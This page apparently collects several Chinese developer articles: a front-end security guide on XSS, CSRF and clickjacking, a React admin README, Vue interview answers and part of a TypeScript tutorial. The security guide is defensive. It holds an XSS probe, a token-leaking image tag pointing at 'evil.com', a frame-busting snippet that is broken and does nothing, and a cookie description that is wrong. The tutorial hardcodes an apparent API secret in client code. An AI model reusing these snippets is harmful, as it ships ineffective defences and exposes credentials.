eric2014

eric2014 查看完整档案

广州编辑韶关大学  |  电子信息 编辑卓望  |  前端开发 编辑填写个人主网站
编辑

不会编程的前端开发

个人动态

eric2014 赞了文章 · 2020-11-11

前端安全编码规范

前端安全编码规范

前言

随着互联网高速的发展,信息安全已经成为企业重点关注焦点之一,而前端又是引发安全问题的高危据点,所以,作为一个前端开发人员,需要了解前端的安全问题,以及如何去预防、修复安全漏洞。
下面就以前端可能受到的攻击方式为起点,讲解web中可能存在的安全漏洞以及如何去检测这些安全漏洞,如何去防范潜在的恶意攻击。


1. 跨站脚本攻击(Cross Sites Script)

跨站脚本攻击,Cross Site Script(简称 CSS或)。指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本(主要是JavaScript脚本),从而在用户浏览网页时,控制用户浏览器的一种攻击。

了解了什么是XSS,那你一定想知道,它有什么危害以及如何去防御
这里罗列一张列表:

  • 挂马
  • 盗取用户Cookie。
  • 钓鱼攻击,高级的钓鱼技巧。
  • 删除目标文章、恶意篡改数据、嫁祸。
  • 劫持用户Web行为,甚至进一步渗透内网。
  • 爆发Web2.0蠕虫。
  • 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
  • 其它安全问题

常见的跨站脚本攻击也可分为:反射型XSS、存储型XSS、DOM Based XSS
下面针对这三种常见的类型做具体的分析


1.1 反射型XSS--也可被称为是HTML注入
反射型XSS,也称为"非持久型XSS"简单的把用户输入的数据"反射"给浏览器,即黑客往往需要诱使用户"点击"一个恶意链接攻击才能成功,用户通过点击这个恶意链接,攻击者可以成功获取用户隐私数据的一种方式。如:"盗取用户Cookie信息"、"破坏页面结构"、"重定向到其他网站",盗取内网IP等。 

那么既然反射型XSS也可以是HTML注入,那么它注入的关键自然也就从前端的HTML页面开始下手:

1. 用户能够与浏览器页面产生交互动作(输入搜索的关键词,点击按钮,点击链接等等),但这些都需要去诱使用户去操作,说起来容易,做起来难。
2. 用户输入的数据会被攻击方拼接出合适的html去执行恶意的js脚本,这样的过程就像是"一次反射"

1.2 存储型XSS
存储型XSS,也称为"`持久型XSS`",它与`反射型XSS`不同之处在于,它会将用户输入的数据"存储"在攻击方的服务器上,具有很强的"稳定性"。
例如:访问某黑客写下的一篇含有恶意JavaScript代码的博客文章,黑客把恶意脚本保存到服务端。

1.3 DOM based XSS
从效果上来说,也是"反射型XSS",单独划分出来,是因为其形成是通过修改页面的"DOM节点"形成的XSS。
例如:通过修改DOM节点上的绑定方法,用户无意间通过点击、输入等行为执行这些方法获取到用户的相关信息

1.4 如何去检测是否存在XSS

一般方法是,用户可以在有关键字输入搜索的地方输入<script>alert(123)</script>后点击搜索,若弹框出现展示123,说明存在XSS漏洞,这就说明前端并没有对用户输入的内容过滤处理。


1.5 XSS的攻击方式

1.Cookie劫持

通过伪装一些`图片和按钮`等,诱使用户对其操作,使网页执行了攻击者的恶意脚本,使攻击者能够获取当前用户的Cookie信息

2.构造GET和POST请求

若某攻击者想删除某网站的一篇文章,首先获得当前文章的id,然后通过使用脚本`插入图片`发送一个`GET请求`,或`构造表单`,`XMLHTTPRequest`发送`POST请求`以达到删除该文章的目的

3.XSS钓鱼

`钓鱼`这个词一般认识是起源于`社会工程学`,黑客使用这个这门学科的理念思想,在未授权不知情的情况下诱骗用户,并得到对方对方的姓名、年龄、邮箱账号、甚至是银行卡密码等私人信息。

比如:"某用户在某网站(已被攻击)上操作黑客伪造的一个登录框,当用户在登录框中输入了用户名(这里可能是身份证号等)和密码之后,将其信息上传至黑客的服务器上(该用户的信息就已经从该网站泄漏)"

4.获取用户真实的IP地址

通过第三方软件获取,比如客户端安装了Java环境(JRE),则可通过调用`Java Applet`的接口获取客户端本地的IP地址

1.6 XSS的防御方式

1.HttpOnly

原理:浏览器禁止页面的Javascript访问带有HttpOnly属性的cookie。(实质解决的是:XSS后的cookie劫持攻击)如今已成为一种“标准”的做法

解决方案:
JavaEE给Cookie添加HttpOnly的方式为:
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

2.输入检查(XSS Filter)

原理:让一些基于特殊字符的攻击失效。(常见的Web漏洞如XSS、SQLInjection等,都要求攻击者构造一些特殊字符)
* 输入检查的逻辑,必须在服务端实现,因为客户端的检查也是很容易被攻击者绕过,现有的普遍做法是两端都做同样的检查,客户端的检查可以阻挡大部分误操作的正常用户,从而节约服务器的资源。

解决方案:
检查是否包含"JavaScript","<script></script>"等敏感字符。以及对字符串中的<>:"&/'等特殊字符做处理

3.输出检查

原理:一般来说除了富文本输出之外,在变量输出到HTML页面时,使用编码或转义的方式来防御XSS攻击

解决方案:
*   针对HTML代码的编码方式:HtmlEncode
*   PHP:htmlentities()和htmlspecialchars()两个函数
*   Javascript:JavascriptEncode(需要使用""对特殊字符进行转义,同时要求输出的变量必须在引号内部)
*   在URL的path(路径)或者search(参数)中输出,使用URLEncode

4.更严格的做法

除了数字和字母外的所有字符,都使用十六进制的方式进行编码

2. 跨站点请求伪造(Cross Sites Request Forgery)

跨站点请求伪造,指利用用户身份操作用户账户的一种攻击方式,即攻击者诱使用户访问一个页面,就以该用户身份在第三方有害站点中执行了一次操作,泄露了用户的身份信息,接着攻击者就可以使用这个伪造的,但真实存在的身份信息,到某网站冒充用户执行恶意操作。

但是,攻击者只有预测到URL的所有参数与参数值,才能成功地伪造一个请求(当然了,他可以在安全站点里以自己的身份实际去操作一下,还是能拿到参数的);反之,攻击者无法攻击成功

下图通俗解释什么是CSRF,又是如何给用户带来危害的
image.png

参考上图,我们可以总结,完成一次CSRF攻击,必须满足两个条件

  • 用户登录受信任网站A,并且在本地生成Cookie
  • 在不登出网站A的情况下,访问有害网站B

2.1 CSRF的原理
CSRF攻击是攻击者利用**`用户身份`**操作用户账户的一种攻击方式

如电影速度与激情5中吉赛尔使用内裤获取巴西大佬指纹,最后成功使用伪造指纹的手法打开保险柜,CSRF只不过是网络上这个手法的实现。

2.2 CSRF的攻击方式

1.浏览器的Cookie策略

浏览器所持有的策略一般分为两种:
Session Cookie,临时Cookie。保存在浏览器进程的内存中,浏览器关闭了即失效。
Third-party Cookie,本地Cookie。服务器在Set-Cookie时指定了Expire Time。过期了本地Cookie失效,则网站会要求用户重新登录。

* 在浏览网站的过程中,即使浏览器打开了Tab页,Session Cookie都是有效的,因此发起CSRF攻击是可行的。

2.P3P头的副作用

"P3P Header"是 "W3C" 制定的一项关于隐私的标准,全称是 "The Platform for Privacy Preference"(隐私偏好平台)

如果网站返回给浏览器的 HTTP 头包含有 P3P 头,则在某种程度上来说,将允许 浏览器发送第三方 Cookie。在 IE 下即使是"<iframe>"、`<script>`等标签页将不再拦截第三方 Cookie 的发送。主要应用在类似广告等需要跨域访问的页面。

3.GET,POST请求

* 这里有个误区
大多数 CSRF 攻击,都是通过 <img> 、 <iframe> 、 <script> 等带 src 属性的标签,这类标签只能发送一次 GET 请求,而不能发送 POST 请求,由此也有了认为 CSRF 攻击只能由 GET 请求发起的错误观点。

构造一个 POST 请求,只需要在一个不可见的iframe窗口中,构造一个form表单,然后使用JavaScript自动提交这个表单。那么整个自动提交表单的过程,对于用户来说就是不可见的。

2.3 CSRF的防御方式

1.验证码

原理:
CSRF攻击过程中,用户在不知情的情况下构造了网络请求,添加验证码后,强制用户必须与应用进行交互

*  优点:简洁而有效
*  缺点:网站不能给所有的操作都加上验证码

2.Referer Check

原理:
* 利用HTTP头中的Referer判断请求来源是否合法
* Referer首部包含了当前请求页面的来源页面的地址,一般情况下Referer的来源页就是发起请求的那个页面,如果是在iframe中发起的请求,那么对应的页面URL就是iframe的src

*  优点:简单易操作(只需要在最后给所有安全敏感的请求统一添加一个拦截器来检查Referer的值就行)
*  缺点:服务器并非什么时候都能取到Referer
        1.很多出于保护用户隐私的考虑,限制了Referer的发送。
        2.比如从HTTPS跳转到HTTP,出于安全的考虑,浏览器不会发送Referer

3.使用Anti CSRF Token

原理:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值,也就无法构造请求的 URL,也就无法发起 CSRF 攻击。

例子(增加token):
*  比如一个删除操作的URL是:`http://host/path/delete?uesrname=abc&item=123`
*  保持原参数不变,新增一个参数Token,Token值是随机的,不可预测
*  http://host/path/delete?username=abc&item=123&token=[random(seed)]

*  优点:比检查Referer方法更安全,并且不涉及用户隐私
*  缺点:
        加密
        1. 加密后的URL非常难读,对用户非常不友好
        2. 加密的参数每次都在改变,导致用户无法对页面进行搜索
        3. 普通参数也会被加密或哈希,将会给DBA工作带来很大的困扰,因为数据分析常常需要用到参数的明文
        
        token
        1. 对所有的请求都添加Token比较困难

需要注意的点

  1. Token需要足够随机,必须用足够安全的随机数生成算法
  2. Token应该为用户和服务器所共同持有,不能被第三方知晓
  3. Token可以放在用户的Session或者浏览器的Cookie中
  4. 尽量把Token放在表单中,把敏感操作由GET改为POST,以form表单的形式提交,可以避免Token泄露(比如一个页面:http://host/path/manage?username=abc&token=[random],在此页面用户需要在这个页面提交表单或者单击“删除”按钮,才能完成删除操作,在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片<img data-original="http://evil.com/notexist" />,则这个页面地址会作为HTTP请求的Refer发送到evil.com的服务器上,从而导致Token泄露)
2.4 XSRF

当网站同时存在XSS和CSRF漏洞时,XSS可以模拟客户端浏览器执行任意操作,在XSS攻击下,攻击者完全可以请求页面后,读取页面内容中的Token值,然后再构造出一个合法的请求

3. 点击劫持(ClickJacking)

点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的iframe页面。通过调整iframe页面的位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

比如,程序员小王在访问A网页时,点击空白区域,浏览器却意外打开了xx新葡京赌场的页面,于是他在A网页打开控制台,在空白区域发现了一个透明的iframe,该iframe嵌入了一个第三方网页的URL

3.1 点击劫持防御方式
1.X-Frame-Options HTTP响应头是用来给浏览器指示允许一个页面能否在`<frame>、<iframe>、<object>`中展现的标记

#### 有三个可选的值
1.  DENY:浏览器会拒绝当前页面加载任何frame页面(即使是相同域名的页面也不允许)
2.  SAMEORIGIN:允许加载frame页面,但是frame页面的地址只能为同源域名下的页面
3.  ALLOW-FROM:可以加载指定来源的frame页面(可以定义frame页面的地址)

2.禁止iframe的嵌套
if(window.top.location !== window.loaction){window.top.location === window.self.location}

4. 其他安全问题

4.1 跨域问题处理
    当服务端设置 'Access-Control-Allow-Origin' 时使用了通配符 "*",允许来自任意域的跨域请求,这是极其危险的

4.2 postMessage 跨窗口传递信息
    postMessage 允许每一个 window(包括当前窗口、弹出窗口、iframes等)对象往其他的窗口发送文本消息,从而实现跨窗口的消息传递。并且这个功能不受同源策略限制。
    必要时,在接受窗口验证 Domain,甚至验证URL,以防止来自非法页面的消息。实际上是在代码上实现一次同源策略的验证过程。接受窗口对接口的信息进行安全检查。
    
4.3 Web Storage
    Web Storage 分为 Session Storage 和 Local Storage。
    虽然受同源策略的约束,但当存有敏感信息时,也可能会成为攻击的目标。
    

5. 总结

  1. 谨慎用户输入信息,进行输入检查(客户端和服务端同时检查)
  2. 在变量输出到HTML页面时,都应该进行编码或转义来预防XSS攻击
  3. 该用验证码的时候一定要添上
  4. 尽量在重要请求上添加Token参数,注意Token要足够随机,用足够安全的随机数生成算法

6. 参考文献

  1. 十大常见web漏洞及防范
  2. hyddd
  3. CSRF攻击与防御
  4. 浅谈前端安全
  5. 前端安全
查看原文

赞 46 收藏 31 评论 1

eric2014 收藏了文章 · 2020-08-24

React+AntD 后台管理系统解决方案 -- 终极版

react-admin(尝试一下)

react-admin system solution

logo

travis-ci
PRs Welcome

文档地址:wiki

问题和方案汇总:issue

更新日志迁移至CHANGELOG.md😁(重要!对于了解项目部分功能和代码很有用!)

cli 命令行脚手架安装和使用 react-admin 🔥

使用 react-admin-creator 快速安装和下载 react-admin 模板来开发项目:

npm i -g react-admin-creator

react-admin-creator myapp

前言

网上react后台管理开源免费的完整版项目比较少,所以利用空余时间集成了一个版本出来,已放到GitHub
启动和打包的时间都稍长,请耐心等待两分钟

依赖模块

<span style="color: rgb(184,49,47);">项目是用create-react-app创建的,主要还是列出新加的功能依赖包</span>

<span style="color: rgb(184,49,47);">点击名称可跳转相关网站😄😄</span>

  • react
  • react-router(<span style="color: rgb(243,121,52);">react路由,4.x的版本,如果还使用3.x的版本,请切换分支(ps:分支不再维护)</span>)
  • redux(基础用法,但是封装了通用action和reducer,demo中主要用于权限控制(ps:目前可以用16.x的context api代替),可以简单了解下)
  • antd(<span style="color: rgb(243,121,52);">蚂蚁金服开源的react ui组件框架</span>)
  • axios(<span style="color: rgb(243,121,52);">http请求模块,可用于前端任何场景,很强大👍</span>)
  • echarts-for-react(<span style="color: rgb(243,121,52);">可视化图表,别人基于react对echarts的封装,足够用了</span>)
  • recharts(<span style="color: rgb(243,121,52);">另一个基于react封装的图表,个人觉得是没有echarts好用</span>)
  • nprogress(<span style="color: rgb(243,121,52);">顶部加载条,蛮好用👍</span>)
  • react-draft-wysiwyg(<span style="color: rgb(243,121,52);">别人基于react的富文本封装,如果找到其他更好的可以替换</span>)
  • react-draggable(<span style="color: rgb(243,121,52);">拖拽模块,找了个简单版的</span>)
  • screenfull(<span style="color: rgb(243,121,52);">全屏插件</span>)
  • photoswipe(<span style="color: rgb(243,121,52);">图片弹层查看插件,不依赖jQuery,还是蛮好用👍</span>)
  • animate.css(<span style="color: rgb(243,121,52);">css动画库</span>)
  • react-loadable(代码拆分,按需加载,预加载,样样都行,具体见其文档,推荐使用)
  • redux-alita 极简的redux2react工具
  • 其他小细节省略

功能模块

<span style="color: rgb(184,49,47);">备注:项目只引入了ant-design的部分组件,其他的组件antd官网有源码,可以直接复制到项目中使用,后续有时间补上全部组件。</span>

<span style="color: rgb(184,49,47);">项目使用了antd的自定义主题功能-->黑色,若想替换其他颜色,具体操作请查看antd官网</span>
<!--more-->

  • 首页

    • 完整布局
    • 换肤(全局功能,暂时只实现了顶部导航的换肤,后续加上其他模块)
  • 导航菜单

    • 顶部导航(菜单伸缩,全屏功能)
    • 左边菜单(增加滚动条以及适配路由的active操作)
  • UI模块

    • 按钮(antd组件)
    • 图标(antd组件并增加彩色表情符)
    • 加载中(antd组件并增加顶部加载条)
    • 通知提醒框(antd组件)
    • 标签页(antd组件)
    • 轮播图(ant动效组件)
    • 富文本
    • 拖拽
    • 画廊
  • 动画

    • 基础动画(animate.css所有动画)
    • 动画案例
  • 表格

    • 基础表格(antd组件)
    • 高级表格(antd组件)
    • 异步表格(数据来自掘金酱的接口)
  • 表单

    • 基础表单(antd组件)
  • 图表

    • echarts图表
    • recharts图表
  • 页面

    • 登录页面(包括GitHub第三方登录)
    • 404页面

功能截图

首页

截图

按钮图标等

截图

轮播图

截图

富文本

截图

拖拽

截图

画廊

截图

动画

截图

表格

截图

表单

截图

图表

截图

页面

截图

菜单拖拽

截图

代码目录

+-- build/                                  ---打包的文件目录
+-- config/                                 ---npm run eject 后的配置文件目录
+-- node_modules/                           ---npm下载文件目录
+-- public/
|   --- index.html                            ---首页入口html文件
|   --- npm.json                            ---echarts测试数据
|   --- weibo.json                            ---echarts测试数据
+-- src/                                    ---核心代码目录
|   +-- axios                               ---http请求存放目录
|   |    --- index.js
|   +-- components                          ---各式各样的组件存放目录
|   |    +-- animation                      ---动画组件
|   |    |    --- ...
|   |    +-- charts                         ---图表组件
|   |    |    --- ...
|   |    +-- dashboard                      ---首页组件
|   |    |    --- ...
|   |    +-- forms                          ---表单组件
|   |    |    --- ...
|   |    +-- pages                          ---页面组件
|   |    |    --- ...
|   |    +-- tables                         ---表格组件
|   |    |    --- ...
|   |    +-- ui                             ---ui组件
|   |    |    --- ...
|   |    --- BreadcrumbCustom.jsx           ---面包屑组件
|   |    --- HeaderCustom.jsx               ---顶部导航组件
|   |    --- Page.jsx                       ---页面容器
|   |    --- SiderCustom.jsx                ---左边菜单组件
|   +-- style                               ---项目的样式存放目录,主要采用less编写
|   +-- utils                               ---工具文件存放目录
|   --- App.js                              ---组件入口文件
|   --- index.js                            ---项目的整体js入口文件,包括路由配置等
--- .env                                    ---启动项目自定义端口配置文件
--- .eslintrc                               ---自定义eslint配置文件,包括增加的react jsx语法限制
--- package.json

安装运行

1.下载或克隆项目源码
2.yarn 或者 npm安装相关包文件(首先推荐使用yarn,国内建议增加淘宝镜像源,不然很慢,你懂的😁)
有些老铁遇到运行时报错,首先确定下是不是最新稳定版的nodejs和npm或者yarn(推荐用yarn),切记不要用cnpn
// 首推荐使用yarn装包
yarn or npm i
3.启动项目
yarn start or npm start
4.打包项目
yarn build or npm run build

Q&A(点击问题查看答案)

1.create-react-app 打包项目run build 增加进度条信息?

2.接口跨域了,怎么在本地开发时配置代理?

3.在使用hashRouter的情况下怎么实现类似锚点跳转?

4.怎么添加多页面配置?

5.路由传参数接问号怎么传?

6.如何兼容IE浏览器?

结尾

该项目会不定时更新,后续时间会添加更多的模块

欢迎和感谢大家PR~~👏👏

若有问题,可加QQ群与我交流

  • 1群:264591039(已满)
  • 2群:592688854(已满)
  • 3群:743490497 (已满)
  • 4群:150131600

如果对你有帮助,给个star哟~~❤️❤️❤️❤️

查看原文

eric2014 赞了文章 · 2020-06-09

「面试题」20+Vue面试题整理

6841583658006_.pic.jpg

从镜片的厚度和黄黑相见的格子衬衫我察觉到,面前坐着的这位面试官应该是来者不善。

我像以往一样,准备花3分钟的时间进行自我介绍。在此期间,为了避免尴尬,我盯着面试官的眉毛中间,不过面试官明显对我的经历不是很感兴趣。他在1分半的时候打断了我。

你觉得自己最擅长的技术栈是什么?

Vue吧,我很喜欢尤大,最近刚发布了Vue的首部纪录片,真的很好看。

0.那你能讲一讲MVVM吗?

MVVM是Model-View-ViewModel缩写,也就是把MVC中的Controller演变成ViewModel。Model层代表数据模型,View代表UI组件,ViewModel是View和Model层的桥梁,数据会绑定到viewModel层并自动将数据渲染到页面中,视图变化的时候会通知viewModel层更新数据。

1.简单说一下Vue2.x响应式数据原理

Vue在初始化数据时,会使用Object.defineProperty重新定义data中的所有属性,当页面使用对应属性时,首先会进行依赖收集(收集当前组件的watcher)如果属性发生变化会通知相关依赖进行更新操作(发布订阅)。

2.那你知道Vue3.x响应式数据原理吗?

(还好我有看,这个难不倒我)

Vue3.x改用Proxy替代Object.defineProperty。因为Proxy可以直接监听对象和数组的变化,并且有多达13种拦截方法。并且作为新标准将受到浏览器厂商重点持续的性能优化。

Proxy只会代理对象的第一层,那么Vue3又是怎样处理这个问题的呢?

(很简单啊)

判断当前Reflect.get的返回值是否为Object,如果是则再通过reactive方法做代理,
这样就实现了深度观测。

监测数组的时候可能触发多次get/set,那么如何防止触发多次呢?

我们可以判断key是否为当前被代理对象target自身属性,也可以判断旧值与新值是否相等,只有满足以上两个条件之一时,才有可能执行trigger。

面试官抬起了头。心里暗想

(这小子还行,比上两个强,应该是多多少少看过Vue3的源码了)

3.再说一下vue2.x中如何监测数组变化

使用了函数劫持的方式,重写了数组的方法,Vue将data中的数组进行了原型链重写,指向了自己定义的数组原型方法。这样当调用数组api时,可以通知依赖更新。如果数组中包含着引用类型,会对数组中的引用类型再次递归遍历进行监控。这样就实现了监测数组变化。

(能问到这的面试官都比较注重深度,这些常规操作要记牢)

(原型链的细节可以参考我的另一篇专栏)

一文带你彻底搞懂JavaScript原型链

4.nextTick知道吗,实现原理是什么?

在下次 DOM 更新循环结束之后执行延迟回调。nextTick主要使用了宏任务和微任务。根据执行环境分别尝试采用

  • Promise
  • MutationObserver
  • setImmediate
  • 如果以上都不行则采用setTimeout

定义了一个异步方法,多次调用nextTick会将方法存入队列中,通过这个异步方法清空当前队列。

(关于宏任务和微任务以及事件循环可以参考我的另两篇专栏)

(看到这你就会发现,其实问框架最终还是考验你的原生JavaScript功底)

浏览器中JavaScript的事件循环

Node.js事件循环

5.说一下Vue的生命周期

beforeCreate是new Vue()之后触发的第一个钩子,在当前阶段data、methods、computed以及watch上的数据和方法都不能被访问。

created在实例创建完成后发生,当前阶段已经完成了数据观测,也就是可以使用数据,更改数据,在这里更改数据不会触发updated函数。可以做一些初始数据的获取,在当前阶段无法与Dom进行交互,如果非要想,可以通过vm.$nextTick来访问Dom。

beforeMount发生在挂载之前,在这之前template模板已导入渲染函数编译。而当前阶段虚拟Dom已经创建完成,即将开始渲染。在此时也可以对数据进行更改,不会触发updated。

mounted在挂载完成后发生,在当前阶段,真实的Dom挂载完毕,数据完成双向绑定,可以访问到Dom节点,使用$refs属性对Dom进行操作。

beforeUpdate发生在更新之前,也就是响应式数据发生更新,虚拟dom重新渲染之前被触发,你可以在当前阶段进行更改数据,不会造成重渲染。

updated发生在更新完成之后,当前阶段组件Dom已完成更新。要注意的是避免在此期间更改数据,因为这可能会导致无限循环的更新。

beforeDestroy发生在实例销毁之前,在当前阶段实例完全可以被使用,我们可以在这时进行善后收尾工作,比如清除计时器。

destroyed发生在实例销毁之后,这个时候只剩下了dom空壳。组件已被拆解,数据绑定被卸除,监听被移出,子实例也统统被销毁。

(关于Vue的生命周期详解感兴趣的也请移步我的另一篇专栏)

从源码解读Vue生命周期,让面试官对你刮目相看

6.你的接口请求一般放在哪个生命周期中?

接口请求一般放在mounted中,但需要注意的是服务端渲染时不支持mounted,需要放到created中。

7.再说一下Computed和Watch

Computed本质是一个具备缓存的watcher,依赖的属性发生变化就会更新视图。
适用于计算比较消耗性能的计算场景。当表达式过于复杂时,在模板中放入过多逻辑会让模板难以维护,可以将复杂的逻辑放入计算属性中处理。

Watch没有缓存性,更多的是观察的作用,可以监听某些数据执行回调。当我们需要深度监听对象中的属性时,可以打开deep:true选项,这样便会对对象中的每一项进行监听。这样会带来性能问题,优化的话可以使用字符串形式监听,如果没有写到组件中,不要忘记使用unWatch手动注销哦。

8.说一下v-if和v-show的区别

当条件不成立时,v-if不会渲染DOM元素,v-show操作的是样式(display),切换当前DOM的显示和隐藏。

9.组件中的data为什么是一个函数?

一个组件被复用多次的话,也就会创建多个实例。本质上,这些实例用的都是同一个构造函数。如果data是对象的话,对象属于引用类型,会影响到所有的实例。所以为了保证组件不同的实例之间data不冲突,data必须是一个函数。

10.说一下v-model的原理

v-model本质就是一个语法糖,可以看成是value + input方法的语法糖。
可以通过model属性的propevent属性来进行自定义。原生的v-model,会根据标签的不同生成不同的事件和属性。

11.Vue事件绑定原理说一下

原生事件绑定是通过addEventListener绑定给真实元素的,组件事件绑定是通过Vue自定义的$on实现的。

面试官:(这小子基础还可以,接下来我得上上难度了)

12.Vue模版编译原理知道吗,能简单说一下吗?

简单说,Vue的编译过程就是将template转化为render函数的过程。会经历以下阶段:

  • 生成AST树
  • 优化
  • codegen

首先解析模版,生成AST语法树(一种用JavaScript对象的形式来描述整个模板)。
使用大量的正则表达式对模板进行解析,遇到标签、文本的时候都会执行对应的钩子进行相关处理。

Vue的数据是响应式的,但其实模板中并不是所有的数据都是响应式的。有一些数据首次渲染后就不会再变化,对应的DOM也不会变化。那么优化过程就是深度遍历AST树,按照相关条件对树节点进行标记。这些被标记的节点(静态节点)我们就可以跳过对它们的比对,对运行时的模板起到很大的优化作用。

编译的最后一步是将优化后的AST树转换为可执行的代码

面试官:(精神小伙啊,有点东西,难度提升,不信难不倒你)

13.Vue2.x和Vue3.x渲染器的diff算法分别说一下

简单来说,diff算法有以下过程

  • 同级比较,再比较子节点
  • 先判断一方有子节点一方没有子节点的情况(如果新的children没有子节点,将旧的子节点移除)
  • 比较都有子节点的情况(核心diff)
  • 递归比较子节点

正常Diff两个树的时间复杂度是O(n^3),但实际情况下我们很少会进行跨层级的移动DOM,所以Vue将Diff进行了优化,从O(n^3) -> O(n),只有当新旧children都为多个子节点时才需要用核心的Diff算法进行同层级比较。

Vue2的核心Diff算法采用了双端比较的算法,同时从新旧children的两端开始进行比较,借助key值找到可复用的节点,再进行相关操作。相比React的Diff算法,同样情况下可以减少移动节点次数,减少不必要的性能损耗,更加的优雅。

Vue3.x借鉴了
ivi算法和 inferno算法

在创建VNode时就确定其类型,以及在 mount/patch 的过程中采用位运算来判断一个VNode的类型,在这个基础之上再配合核心的Diff算法,使得性能上较Vue2.x有了提升。(实际的实现可以结合Vue3.x源码看。)

该算法中还运用了动态规划的思想求解最长递归子序列。

(看到这你还会发现,框架内无处不蕴藏着数据结构和算法的魅力)

面试官:(可以可以,看来是个苗子,不过自我介绍属实有些无聊,下一题)

(基操,勿6)

14.再说一下虚拟Dom以及key属性的作用

由于在浏览器中操作DOM是很昂贵的。频繁的操作DOM,会产生一定的性能问题。这就是虚拟Dom的产生原因

Vue2的Virtual DOM借鉴了开源库snabbdom的实现。

Virtual DOM本质就是用一个原生的JS对象去描述一个DOM节点。是对真实DOM的一层抽象。(也就是源码中的VNode类,它定义在src/core/vdom/vnode.js中。)

VirtualDOM映射到真实DOM要经历VNode的create、diff、patch等阶段。

key的作用是尽可能的复用 DOM 元素。

新旧 children 中的节点只有顺序是不同的时候,最佳的操作应该是通过移动元素的位置来达到更新的目的。

需要在新旧 children 的节点中保存映射关系,以便能够在旧 children 的节点中找到可复用的节点。key也就是children中节点的唯一标识。

15.keep-alive了解吗

keep-alive可以实现组件缓存,当组件切换时不会对当前组件进行卸载。

常用的两个属性include/exclude,允许组件有条件的进行缓存。

两个生命周期activated/deactivated,用来得知当前组件是否处于活跃状态。

keep-alive的中还运用了LRU(Least Recently Used)算法。

(又是数据结构与算法,原来算法在前端也有这么多的应用)

16.Vue中组件生命周期调用顺序说一下

组件的调用顺序都是先父后子,渲染完成的顺序是先子后父

组件的销毁操作是先父后子,销毁完成的顺序是先子后父

加载渲染过程

父beforeCreate->父created->父beforeMount->子beforeCreate->子created->子beforeMount- >子mounted->父mounted

子组件更新过程

父beforeUpdate->子beforeUpdate->子updated->父updated

父组件更新过程

父 beforeUpdate -> 父 updated

销毁过程

父beforeDestroy->子beforeDestroy->子destroyed->父destroyed

17.Vue2.x组件通信有哪些方式?

  • 父子组件通信

    父->子props,子->父 $on、$emit

    获取父子组件实例 $parent、$children

    Ref 获取实例的方式调用组件的属性或者方法

    Provide、inject 官方不推荐使用,但是写组件库时很常用

  • 兄弟组件通信

    Event Bus 实现跨组件通信 Vue.prototype.$bus = new Vue

    Vuex

  • 跨级组件通信

    Vuex

    $attrs、$listeners

    Provide、inject

18.SSR了解吗?

SSR也就是服务端渲染,也就是将Vue在客户端把标签渲染成HTML的工作放在服务端完成,然后再把html直接返回给客户端

SSR有着更好的SEO、并且首屏加载速度更快等优点。不过它也有一些缺点,比如我们的开发条件会受到限制,服务器端渲染只支持beforeCreatecreated两个钩子,当我们需要一些外部扩展库时需要特殊处理,服务端渲染应用程序也需要处于Node.js的运行环境。还有就是服务器会有更大的负载需求。

19.你都做过哪些Vue的性能优化?

编码阶段

  • 尽量减少data中的数据,data中的数据都会增加getter和setter,会收集对应的watcher
  • v-if和v-for不能连用
  • 如果需要使用v-for给每项元素绑定事件时使用事件代理
  • SPA 页面采用keep-alive缓存组件
  • 在更多的情况下,使用v-if替代v-show
  • key保证唯一
  • 使用路由懒加载、异步组件
  • 防抖、节流
  • 第三方模块按需导入
  • 长列表滚动到可视区域动态加载
  • 图片懒加载

SEO优化

  • 预渲染
  • 服务端渲染SSR

打包优化

  • 压缩代码
  • Tree Shaking/Scope Hoisting
  • 使用cdn加载第三方模块
  • 多线程打包happypack
  • splitChunks抽离公共文件
  • sourceMap优化

用户体验

  • 骨架屏
  • PWA

还可以使用缓存(客户端缓存、服务端缓存)优化、服务端开启gzip压缩等。

(优化是个大工程,会涉及很多方面,这里申请另开一个专栏)

20.hash路由和history路由实现原理说一下

location.hash的值实际就是URL中#后面的东西。

history实际采用了HTML5中提供的API来实现,主要有history.pushState()history.replaceState()

面试官拿起旁边已经凉透的咖啡,喝了一口。

(我难道问不倒这小子了么)

qrcode.jpg

查看原文

赞 134 收藏 91 评论 3

eric2014 赞了文章 · 2020-05-29

vue-cli3+typeScript + 腾讯ai接口前端鉴权做效果

前言

TypeScript是一个js的超级,提供了类型系统和es6的支持,它是由微软开发,第一个版本发布于2012年10月,经多次更新,现已成为前端社区中不可忽视的力量,并且已经在微软内部广泛应用,google的angular2也使用了TypeScript的开发语言,这也就是我们为什么学习ts的背景。

我们常用的vue框架也支持了使用typeScript开发,今天我们就来学习一下如何使用vue-cli3+typeScript开发一个简单项目,最近在研究腾讯的ai接口,完成一个简单的demo,话不多少,上代码

1、创建项目

1、安装vue-cli3,检查版本,创建项目,已经全局安装过vue-cli3的直接创建项目即可,跟之前一样

npm install -g @vue/cli
vue --version
vue create my-ts-ai

2、需要注意的是第一次使用ts的,可以选择Manually select feature来自由选择功能,常用的有vuex、vue-router、CSS Pre-processors等,我们一定要把typescript勾上,就可以回车进入下一步了。PS:勾选的操作是按空格键。
需要注意,选择格式化检查的,需要选择TSlint,否则写ts会标红报错
WechatIMG5.jpeg

3、创建成功之后,执行启动命令:npm run serve;启动之后就可以访问本地项目、用ts编写代码了

2、 vue-property-decorator

这是一个涵盖了vue的一些对象的集合,我们可以从这里取一些东西出来

import { Component, Prop, Vue, Watch } from 'vue-property-decorator';

取出来的这几个属性,分别是 组件定义Component,父组件传递过来的参数Prop,原始vue对象Vue,数据监听对象Watch。还包括这里没有列举出来的ModelEmitInjectProvide,可以自己尝试下。
我们看一下常用的属性prop、watch一般写法
prop;
@Prop() private msg!: string;
watch:

// watch
  @Watch('active')
  private chageActive(newVal: string, oldVal: string) {
    console.log(`change txt: ${oldVal} to ${newVal}`);
  }
  @Watch('sticker')
  private chageSticker(newVal: string, oldVal: string) {
    console.log(`change txt: ${oldVal} to ${newVal}`);
  }

data:

// data
  private num: number = 0;
  private appId: number = 2140682408;
  private appKay: string = '3gP0QJTqC3j8qP6M';
  private imgBase64: string = '';
